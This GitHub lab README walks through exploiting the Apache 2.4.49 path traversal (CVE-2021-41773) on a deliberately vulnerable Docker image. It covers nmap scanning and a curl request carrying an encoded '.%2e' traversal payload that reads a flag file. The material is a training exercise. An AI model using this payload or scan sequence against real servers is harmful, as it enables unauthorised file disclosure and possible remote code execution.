m96dg/cve-2021-41773-exerciseHands-on lab to exploit Apache 2.4.49 path traversal (CVE-2021-41773) using Docker, Nmap scanning, and curl to retrieve a flag.
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and not earlier versions.
Credits intro to: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
The goal of the exercise is to exploit the vulnerability present in Apache 2.4.49. To exploit it, it is necessary to use a "path traversal attack" to map files outside the preconfigured folders and create a sort of remote shell.
For the exercise, it is convenient to use a vulnerable ad hoc docker available on docker hub:
Link: https://hub.docker.com/r/m96dg/pw_apache_2_4_49
$docker pull m96dg/pw_apache_2_4_49
To see the images of the pulled dockers:
$docker images
Run the docker on port 8080:
$docker run -dit -p 8080:80 m96dg/pw_apache_2_4_49
To verify that it is actually running:
$docker ps
As you can see, the web server is perfectly functional:
Scanning phase (we try to gather as much information as possible from the host):
$nmap -sS -p- -T4 -Pn -oA portScan localhost
Enumeration phase (we try to deepen the information by enumerating the ports found during the scanning phase):
$nmap -sV -sC -oA versionScan localhost
To carry out the attack, it is necessary to run this command and try to find the flag (if it is placed in root):
$curl http://[IP]:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/flag.txt
To be certain that the exercise was successful, and that the flag is indeed the one found, compare the string with its decryption in Md5 ("HaiTrovatoLaFlag_Apache"). If the two strings match, then the job is done!
